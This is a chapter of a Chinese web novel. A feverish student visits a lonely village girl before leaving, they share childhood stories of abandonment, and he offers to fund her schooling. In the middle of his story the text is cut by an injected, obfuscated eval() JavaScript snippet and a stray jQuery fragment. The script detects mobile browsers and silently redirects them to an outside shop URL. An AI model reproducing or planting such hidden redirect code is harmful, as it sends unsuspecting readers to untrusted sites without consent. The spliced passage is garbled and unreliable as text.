原本规划仅有两天的锦都大学下乡调研行程，因为沈砚持续高烧，硬生生向后推迟了整整三天。
山村里昼夜温差极大，连日阴雨湿寒侵入骨头，他高烧反复不退，咳嗽时时撕扯着喉咙，脸颊始终浮着一层病态的潮红。
“我都说了所有人都不急，你要是实在放心不下调研工作，我留下来陪你休养几天，等烧彻底退了咱们再回锦都。”杨婷婷看着他止不住地咳嗽，眉头紧锁，再三劝说他留下静养。
沈砚端起水杯抿了一大口，压下喉咙里发痒的咳意，淡淡开口：“没事，回去再调理身体也来得及。咱们的车票是几点？”
沈砚心里自有一杆秤。整支调研队一共六人，所有人的课业、实习安排都挤在这一周，原本两天就能完成的走访记录，已经因为他的身体耽搁许久。
若是因为自己一人，拖累全员滞留闭塞山村，错过回城的火车，耽误各自的要事，他心里会始终压着一块巨石。
“沈哥，我还是那句话，日程都可以协调延后，没有什么急事是非赶这趟火车不可的。”杨婷婷接过水杯放在床头柜上，蹲在床边平视着他，“山里的村医说了，你肺热很重，至少静养两天才能压下炎症。你安心留在这儿，我跟队里其他人沟通，我留下来陪着你，等你烧彻底退干净，咱们两个人再回锦都也不迟。”
沈砚摇摇头：“不用这么折腾大家，一点小感冒而已，回到锦都，医院、药房都方便，治疗起来更快。咱们明天几点出发赶火车？”
“明早七点的绿皮火车，村子到镇上车站还要四十分钟车程，五点就得全员集合出发。我最后问你一次，真的不打算延后几日休养？”
沈砚依旧摇头。
杨婷婷见他神色执拗，不再多言打扰他休息，轻轻带上房门，转身出去收拾行李。
屋内只剩沈砚一人，闲下来，脑海里不由自主浮现出赵小河那日红着眼，强硬拒绝他好意的模样。
山里已经入冬，气温一天比一天寒凉，单薄破旧的粗布衣衫怎么抵御寒冬？他送去的厚实棉袄，她究竟有没有收下，有没有穿在身上御寒？
纵使小姑娘满心抵触、句句带刺，沈砚依旧放不下心。
一个早早辍学留守山村的女孩，困在闭塞贫瘠的大山里，往后的日子一眼望不到头，他实在难以心安。
思虑至此，沈砚拿起搭在椅背上的黑色外套披在身上。
马上就要离开村子，临走前，他想和女孩好好道个别。
小孩子防备心重、自尊心强，他全都理解，毕竟年少时的自己，戒备心比赵小河还要重。
杨婷婷见他推门往外走，连忙出声询问去向，沈砚含糊敷衍了一句“出去走走”，脚步却径直朝着村头那户全村人避之不及的瓦房走去。
……
山间枝头滴落的冰水砸在鼻尖，赵小河下意识皱起鼻子，冰凉的水珠顺着鼻尖滑进嘴里，她抿了抿唇，舌尖却尝到淡淡的泥土腥气。
她弯腰把半捆柴火整齐码在一处，从腰间扯下粗麻绳，一脚踩住柴垛，闷头用力捆扎。
柴火捆好，她没有立刻下山，反倒坐在柴堆旁，怔怔望向连绵无尽的群山。
大山一重叠着一重，山头植被稀疏，裸露出枯黄的土坡，满目荒芜凄冷，层层山峦隔断了外界所有光景，一眼望不到尽头，实在算不上什么好看的景致。
可赵小河就那样静静坐着，背影单薄得仿佛一张轻飘飘的纸，一身洗得发白打满补丁的旧衣服，完全撑不起她瘦削的骨架，几缕枯黄毛躁的碎发被山间冷风肆意吹起，散乱挡在眼前。
村路泥泞湿滑，雨水混合泥土沾湿鞋边，山路崎岖陡峭，沈砚拖着虚弱的身子好不容易爬到半山腰的柴垛空地，他一眼就看见了赵小河单薄的身影。
他放轻脚步，在距离她不远的地方静静坐下，二人之间留有一点空隙，足够宽松地容下另一个人。
赵小河早已察觉来人是那日送棉衣的好心人，这一次，她没有厉声驱赶，也没有说出句句伤人的狠话。
沈砚不开口，她也沉默，两个人并肩坐着，一同望着望不到尽头的山峦。
不知静默了多久，一阵寒凉山风卷过，直钻沈砚喉咙，他控制不住地低头捂住嘴，低低地咳嗽起来，胸腔震动带来一阵阵钝痛，脸色白了几分。
听见咳嗽声，赵小河终于侧过头，漆黑的眼眸里盛满困惑，率先打破了漫长的寂静：“你来找我干什么？那天我话说得那么难听，我明明惹人厌烦，你为什么还要上山来找我？”
沈砚静静看向她，轻易看穿了那强硬话语之下深藏的不安。
“明天我就要返程回锦都了，去你家的时候，你奶奶说你上山砍柴，我特地过来跟你道别。”
“没必要，我们本就不熟，你不用特意来和我道别。”赵小河猛地低下头，视线落在自己双手上。那是一双完全不属于十几岁少女的手，掌心布满厚厚的硬茧，指尖布满裂口，泥土嵌进纹路里洗不干净，到处都是砍柴、务农磨出的伤痕。
“你为什么执意要送我衣服？村里其他人，都不敢靠近我。”
说完，她抬眼望向层叠的群山，慢吞吞的说：“小时候，我妈经常带我来山上砍柴，没人照看我的时候，她就背着我坐在这儿，像我现在这样望着远处。”
记忆里的母亲总是头发枯黄杂乱，脸色苍白，身上的衣服打满补丁，平日里很少和她说话，大半时间都在发呆。旁人问她在看什么，她只会慢吞吞说一句：“好远”
年幼的赵小河那时全然不懂这句话的含义，也不明白样貌清秀的母亲，为何会嫁给心智残缺的父亲。那时她无忧无虑，整日跟着村里的孩童爬树掏鸟蛋，什么都不用思考，什么都不用想。
她以为会永远这样下去，可变故却来得猝不及防。
那天她捧着刚摸到的鸟蛋，兴冲冲回家想送给母亲，家门口却围满了邻里。
她费力挤过人群，看见奶奶瘫坐在地上哭喊撒泼，父亲手里攥着黄豆，痴痴傻傻地笑，两名身着制服的警察面露难色，站在一旁束手无策。
她认得这身制服，村里宣讲安全知识的工作人员和他们穿着一模一样，他们是警察。
视线扫过人群，始终不见母亲安静单薄的身影，掌心一松，圆滚滚的鸟蛋摔在泥土里，蛋液混着黄泥四处流淌。
“我妈妈去哪了？”赵小河失控地嘶吼。
奶奶哭着死死护住傻愣愣的父亲，仰头哀求：“求求你们，我儿子脑子不好，别把他抓走，我给你们下跪了！”说着双膝一弯，就要跪倒在地，两名警察连忙伸手搀扶，连声劝阻。
其中一名警察解释：“老人家，我们不是要送他坐牢，他的情况需要送去精神病院疗养，这是为了他好。”
奶奶一辈子久居山村，根本不懂精神病院是什么地方，只当警察要把儿子关进大牢，拦在门口痛哭哀求：“我一个老婆子还要带着个娃娃，他要是走了，我们祖孙俩怎么活下去啊！”
话音刚落，警察们的目光便落在泪流满面的赵小河身上，眼底藏着难以掩饰的怜悯。
后来父亲被带走，再也没有回过村子，母亲也消失无踪。
邻里闲谈时说，母亲回了自己的娘家，不会再回来。赵小河只能一遍遍自我宽慰，离开大山对母亲而言是解脱，不用再困在残破的家里受苦，远走高飞才是最好的归宿。
这件事之后，奶奶在村子里彻底抬不起头。旁人的指点、闲言碎语从未停歇，出门时，都会用头巾把整张脸捂得严严实实，走路缩着肩膀，常年弯腰低头，久而久之她的脊背彻底佝偻，再也无法挺直。
奶奶这辈子，为这个家弯了无数次腰，赵小河不愿再让奶奶因自己受人指点，所以她抗拒所有人的善意，总觉得本不属于自己的温情，只会给家里招来闲话。
“以前不懂妈妈为什么总坐在这里发呆，如今我全都明白了。”赵小河轻声呢喃着，“真的好远好远。”
山绵延万里，她被困在这里走不出去，外面的人也不愿走进来，只能困在山里，像一截枯木一样耗完一辈子。真的太远了。
她坐在母亲当年独坐的山头，看到一眼望不到尽头的山，她才读懂那句“好远。”
母亲望向的，是遥不可及的远方，是回不去的家乡。
沈砚静静看着她：“我很开心，你愿意把心底的事讲给我听。”他稍稍停顿，缓缓开口，“那你想听听我的过往吗？”
赵小河小声嘟囔：“你们这种有钱人，再难也不至于像我一样，连书都读不起……”
沈砚轻笑一声打断她，端正坐姿，回想着说：“那年是寒冬吧，我妈征得我爸同意，带着我长途跋涉回乡寻找外公外婆。我们坐了一整天的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831333|211342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绿皮火车，颠簸许久抵达故土，可邻里告知，我外公外婆早已举家搬迁，断了所有联系，无处寻觅。”
苏月华本就厌恶沈家，父亲与爷爷常年打压、轻视她，本打算寻亲无果后，独自远走高飞。或许是沈砚拖累了她，她把年幼的他留在车站，自己只身离开，想重新开始生活。
年幼的他浑然不知自己被抛弃，天真以为母亲口中的“等一会儿”真的就是一会儿。
他在寒风刺骨的车站等了整整两天，当饥饿、寒冷耗尽所有期待，当他意识到自己被亲生母亲抛弃的那一刻，心里没有怨恨，只有一种理所当然的自觉。
他是拖累母亲的累赘，本就不该被留在身边。
他没有四处寻找母亲，饿了就翻捡车站的垃圾桶，渴了就趴在卫生间喝自来水，浑浑噩噩不知熬过了多久，直到一场大雪落下，他蜷缩在角落，以为自己会冻死在寒冬里，苏月华却匆匆折返回来。
她冲进车站，一眼看见衣衫单薄、浑身脏乱的儿子，当着往来行人的面崩溃大哭，一遍遍地说着对不起。
“我从来没有怪过她。我一直不理解，她那么憎恨锦都，最后却为了我心甘情愿回去。”沈砚自嘲地弯了弯唇角，“或许母爱向来矛盾又厚重，即便我在她身上尝尽苦楚与无奈，我依旧割舍不掉这份牵绊。”
“你那时候多大？”赵小河小心翼翼抬眼看向他，一个同是身世坎坷的人。
这时，她才惊讶发现自己语气的尖锐尽数褪去，只剩柔软。
“八岁。”沈砚答完，见她满眼心疼，随口似的说：“我们都坦诚说了各自的心事，现在算得上朋友了。”
朋友。
这个词于赵小河而言，和“妈妈”一样遥远。十六年的人生里，童年短暂的欢乐过后，自从母亲离去、父亲被带走，村里再没有人愿意靠近她。
昔日一同玩耍的伙伴成婚，对方母亲看见她，也只是匆忙塞一把喜糖，催促她快点离开。如今眼前这个人，主动说要和她做朋友，陌生又新奇。
赵小河迟疑许久，慢慢点了点头：“嗯。”
沈砚笑意加深，顺势切入正题：“小河，你想重新回学校读书吗？”
突如其来的问题让赵小河下意识想摇头，可二人如今已是朋友，她不愿有所隐瞒，坦然道出心声：“想，但是我读不了。”
“我资助你读书，怎么样？”
赵小河微微低头，果断拒绝：“不用。”
她不愿再欠下人情，沈砚已经帮了她太多，这份恩情她无力偿还。再者，镇上学校距离村子遥远，她若是住校，独居的奶奶万一出事，她来不及赶回。
她早已认命，守着奶奶过完几年，往后嫁去同村，平淡度日便是归宿。
沈砚一眼看穿她所有顾虑，语气郑重安抚：“你不用担心奶奶。我长期资助不少贫困学生，这笔钱不用你偿还，等你将来考上大学，便是最好的回报。”
他望着连绵群山，耐心劝导：“小河，女孩子更该走出大山，去看一看外面的世界，人的一生不该只有成家生子。你心里不是一直好奇，母亲奔赴的远方究竟是什么模样吗？”
一句话戳中赵小河心底最深的渴望，她的心猛地晃动。
她无数次幻想过山外的光景，向往母亲奔赴的自由天地。
“我真的可以吗？我配吗？”赵小河攥紧衣角，满心忐忑。
“没有什么配不配。”沈砚不假思索回应，抬手取下脖子上日夜佩戴的素圈银链，轻轻放在她布满薄茧的掌心，“这是我妈妈送给我的项链，现在交给你。”
他刻意用“交”而非“送”，像是把一份冲破困境的期许与力量，传递到她手中。
赵小河捧着带着余温的银饰，犹豫许久，试探着轻声问：“你不怕我走投无路，把它卖掉换钱吗？”
这话直白得近乎伤人，可沈砚没有半分不悦，反倒从容笑道：“如果你真的走到绝境，卖掉它能让日子好过一些，那这枚银戒，也算实现了它的价值。”
尚存余温的银链熨帖着掌心，一股细密温热的暖意顺着指尖蔓延心底。赵小河双手合拢，紧紧将银链捂在胸口，发自内心地道谢：“谢谢你。”
沈砚站起身，抬手轻轻拂去她枯黄发丝间沾染的枯叶，动作轻柔得如同春日山间拂面的微风。
“不用客气，小河。”